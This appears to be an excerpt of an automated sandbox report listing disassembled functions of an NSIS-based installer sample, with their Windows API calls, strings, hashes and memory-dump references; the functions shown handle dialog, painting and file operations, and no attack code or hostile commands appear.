Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction ID: 2b71226c2ce540754c325362a134889399d6c5c4637dca841463e5b600fa6882
Opcode Fuzzy Hash: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction Fuzzy Hash: 8802AD70900608AFDF20DFA8DD85AAF7BB5FB45314F10817AE611BA2E1D7798A41CF58

Function 004046B5 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404753
GetDlgItem.USER32(?,000003E8), ref: 00404767
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404784
GetSysColor.USER32(?), ref: 00404795
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004047A3
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004047B1
lstrlenW.KERNEL32(?), ref: 004047B6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047C3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047D8
GetDlgItem.USER32(?,0000040A), ref: 00404831
SendMessageW.USER32(00000000), ref: 00404838
GetDlgItem.USER32(?,000003E8), ref: 00404863
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004048A6
LoadCursorW.USER32(00000000,00007F02), ref: 004048B4
SetCursor.USER32(00000000), ref: 004048B7
LoadCursorW.USER32(00000000,00007F00), ref: 004048D0
SetCursor.USER32(00000000), ref: 004048D3
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404902
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404914

Strings

N, xrefs: 00404851
,F@, xrefs: 004048BF
Call, xrefs: 00404892

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: ,F@$Call$N
API String ID: 3103080414-1948516150
Opcode ID: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction ID: ccb0ec9a7d9d767aff215416cd1a2e620de701fb5c4a8d8609e67ea5798c0c5e
Opcode Fuzzy Hash: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction Fuzzy Hash: 046192F1900209BFDB10AF64DD85EAA7B69FB84315F00853AFB05B65E0C778A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 004061BD Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406358,?,?), ref: 004061F8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201

Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
wsprintfA.USER32 ref: 0040623C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
GlobalFree.KERNEL32(00000000), ref: 00406325
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040632C

Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\QNuQ5e175D.exe,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

Strings

[Rename], xrefs: 004062A6, 004062B8
%ls=%ls, xrefs: 00406232

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 21ba76f912769f78f8e3df01d85e3e27af82f360ac84a16f7af8f01611abcd2b
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: 66314330240325BBD2206B659D48F6B3B6CDF45708F16043EFD42B62C2DA3C982486BD

Function 00406825 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\QNuQ5e175D.exe",756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
CharNextW.USER32(?,"C:\Users\user\Desktop\QNuQ5e175D.exe",756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
CharPrevW.USER32(?,?,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

Strings

"C:\Users\user\Desktop\QNuQ5e175D.exe", xrefs: 00406869
C:\Users\user\AppData\Local\Temp\, xrefs: 00406826
*?|<>/":, xrefs: 00406877

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\QNuQ5e175D.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-13023802
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: bedb2e6347f460b6a244a356934bd0223db9426f0f89d28790e15ec7ef568a4f
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: C911B66780221295DB303B148C40A7762A8AF59754F56C43FED86732C0E77C5C9282AD

Function 0040455D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040457A
GetSysColor.USER32(00000000), ref: 004045B8
SetTextColor.GDI32(?,00000000), ref: 004045C4
SetBkMode.GDI32(?,?), ref: 004045D0
GetSysColor.USER32(?), ref: 004045E3
SetBkColor.GDI32(?,?), ref: 004045F3
DeleteObject.GDI32(?), ref: 0040460D
CreateBrushIndirect.GDI32(?), ref: 00404617

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 3bf72a8e0ffa46ee4049c610ab3cabbd6d50cfb344f29d4a8179c655b9565abb
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 5C2165B1500B04ABC7319F38DE08B577BF4AF41715F04892EEA96A26E0D739D944CB54

Function 73B02480 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 73B025C2

Part of subcall function 73B012CC: lstrcpynW.KERNEL32(00000000,?,73B0137F,00000019,73B011CA,-000000A0), ref: 73B012DC

GlobalAlloc.KERNEL32(00000040), ref: 73B02548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 73B02563

Strings

@Hxv, xrefs: 73B0257C

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hxv
API String ID: 4216380887-2589555886
Opcode ID: edf46bf865ca836839d8b2610bfbae5fa230864a08944080cc65a43ce577090b
Instruction ID: 44206d4262fdd86489251007a9cfb8268f098ca7fa9391debde2988d7d775d37
Opcode Fuzzy Hash: edf46bf865ca836839d8b2610bfbae5fa230864a08944080cc65a43ce577090b
Instruction Fuzzy Hash: 9441B2B1008309DFE724EF65D990B2A7FB8FB94314F20853DE94A8B681F730A548CB61

Function 00404EB1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404ECC
GetMessagePos.USER32 ref: 00404ED4
ScreenToClient.USER32(?,?), ref: 00404EEE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404F00
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F26

Strings

f, xrefs: 00404F02

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: fe1e2a7802b6c51c8f018a14413b1ee553013da7dc16083b389f375565560bf3
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: 20015E71900219BADB00DB94DD85BFEBBBCAF95711F10412BBB51B61D0C7B4AA418BA4

Function 00401E73 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401EF8

Strings

Times New Roman, xrefs: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction ID: 32ce691c062fdf7882ca7c79f7dc95dd78c7e40f541a0607bb82830de01dd458
Opcode Fuzzy Hash: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction Fuzzy Hash: 3C017171905250EFE7005BB4EE49BDD3FA4AB19301F208A7AF142B61E2CBB904458BED

Function 00402FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FD6
MulDiv.KERNEL32(0008E45C,00000064,0008ED68), ref: 00403001
wsprintfW.USER32 ref: 00403011
SetWindowTextW.USER32(?,?), ref: 00403021
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403033

Strings

verifying installer: %d%%, xrefs: 0040300B

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: de78d71e2fb772fb87643f85aa6fa794cb5f2d0f129fd79c7e15704eeb750e6f
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 85014F71640208BBEF209F60DD49FEE3B79AB04344F008039FA02B51D0DBB996559B59

Function 73B02655 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 73B012BB: GlobalAlloc.KERNELBASE(00000040,?,73B012DB,?,73B0137F,00000019,73B011CA,-000000A0), ref: 73B012C5

GlobalFree.KERNEL32(?), ref: 73B02743
GlobalFree.KERNEL32(00000000), ref: 73B02778

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 186ac7162cade3a1f7d8ec37e9420d486dbd8699fb215bcafbdfc0bb6662422b
Instruction ID: 572ef8a273f600c9bb1869a8aaf83870e4022627f361d04f665ffb4d902b2c65
Opcode Fuzzy Hash: 186ac7162cade3a1f7d8ec37e9420d486dbd8699fb215bcafbdfc0bb6662422b
Instruction Fuzzy Hash: F431F2B2504109EFE7269F65CBC4F2E7FBAFB853087245539F2459BA60E7309C088B61

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNEL32(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: fd7949a1005e62e73a365a75524f2bbb059e9229dbd09bef2f8decdc6a7611be
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: FA31A271D00124BBCF21AFA5CE89D9E7E79AF45324F14423AF421762E1CB798D418FA8

Function 00405F4E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405FA7
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 00405FB7

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F4E
4ou, xrefs: 00405F50
